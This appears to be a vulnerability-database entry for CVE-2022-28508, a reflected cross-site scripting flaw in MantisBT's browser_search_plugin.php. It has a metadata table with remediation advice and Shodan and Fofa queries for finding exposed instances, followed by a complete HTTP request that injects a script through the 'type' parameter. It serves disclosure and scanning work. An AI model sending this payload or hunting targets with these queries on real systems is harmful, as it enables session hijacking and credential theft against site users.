| Title | MantisBT < 2.25.2 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation allows attackers to execute arbitrary JavaScript code in the context of a victim's browser,potentially leading to session hijacking, credential theft, or phishing attacks. |
| Remediation | Upgrade to MantisBT version 2.25.2 or later which contains the fix for this vulnerability.If upgrading is not immediately possible, restrict access to the browser_search_plugin.php endpoint. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01452 |
| CVE ID | CVE-2022-28508 |
| CWE ID | CWE-79 |
| Shodan Query | title:"MantisBT" |
| Fofa Query | title="MantisBT" |
| Tags | cve cve2022 mantisbt xss opensearch vuln |
MantisBT before 2.25.2 contains a cross-site scripting vulnerability in browser_search_plugin.php. The application does not properly sanitize the ‘type’ parameter, which allows attackers to inject arbitrary web script or HTML via a crafted URL.
GET /browser_search_plugin.php?type=text%27%22()%26%25<acx><ScRiPt>alert(document.domain)</ScRiPt> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28508.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-28508.pcap
N/AN/A